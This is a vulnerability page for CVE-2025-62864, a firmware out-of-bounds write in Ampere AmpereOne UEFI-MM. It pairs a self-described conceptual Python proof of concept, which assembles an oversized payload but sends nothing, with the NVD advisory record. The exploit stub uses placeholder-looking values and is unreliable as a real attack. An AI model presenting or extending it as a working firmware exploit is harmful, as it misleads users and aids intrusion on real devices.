CVE-2025-62864

# CVE-2025-62864 PoC - Conceptual Proof of Concept # Note: This is a conceptual demonstration for research purposes only # Actual exploitation requires specific hardware access and firmware analysis import struct def construct_malicious_smc_call(): """ Construct a malformed SMC call to trigger OOB write in UEFI-MM This is a simplified conceptual representation """ # SMC Function ID for MMCommunicate SMC_FUNC_ID = 0xC000EE01 # Crafted buffer with oversized data # The MMCommunicate handler should validate buffer size # but vulnerable versions lack proper boundary checks oversized_buffer = b'A' * 1024 # Exceed expected buffer size # Construct SMC arguments smc_args = { 'func_id': SMC_FUNC_ID, 'buffer_address': 0xFFFFFFFF, # Invalid/misleading address 'buffer_size': len(oversized_buffer), 'magic_value': 0xDEADBEEF # May trigger specific code path } # Serialize for transmission payload = struct.pack('<QQQQ', smc_args['func_id'], smc_args['buffer_address'], smc_args['buffer_size'], smc_args['magic_value'] ) payload += oversized_buffer return payload def send_smc_call(payload): """ Send malformed SMC call to trigger vulnerability Requires specific hardware interface (JTAG, debug port, or firmware update) """ print(f"[*] Constructed malicious payload: {len(payload)} bytes") print(f"[*] SMC Function ID: 0xC000EE01") print(f"[*] Buffer size: 1024 bytes (exceeds safe limit)") print("[!] Note: Actual exploitation requires privileged access to device") # In real scenario, this would interface with ARM SMC dispatcher # or through firmware update mechanism if __name__ == "__main__": poc = construct_malicious_smc_call() send_smc_call(poc) print("[*] PoC generated - requires hardware-level access for testing")

{"cve": {"id": "CVE-2025-62864", "sourceIdentifier": "[email protected]", "published": "2025-12-16T18:16:13.607", "lastModified": "2026-01-13T20:58:05.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ampere AmpereOne AC03 devices before 3.5.9.3, AmpereOne AC04 devices before 4.4.5.2, and AmpereOne M devices before 5.4.5.1 allow an incorrectly formed SMC call to UEFI-MM MMCommunicate service that could result in an out-of-bounds write within the UEFI-MM Secure Partition context."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:amperecomputing:ampereone_a192-32m_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.4.5.1", "matchCriteriaId": "A9523999-81AB-47DD-B8D5-A352FE3B1D5B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:amperecomputing:ampereone_a192-32m:-:*:*:*:*:*:*:*", "matchCriteriaId": "2384E36F-8268-404E-80D6-C98E3EA1C299"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:amperecomputing:ampereone_a192-26m_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.4.5.1", "matchCriteriaId": "A13FFFC6-7355-4F15-B1AC-A1F8D71A4AD1"}]}, {"operator": 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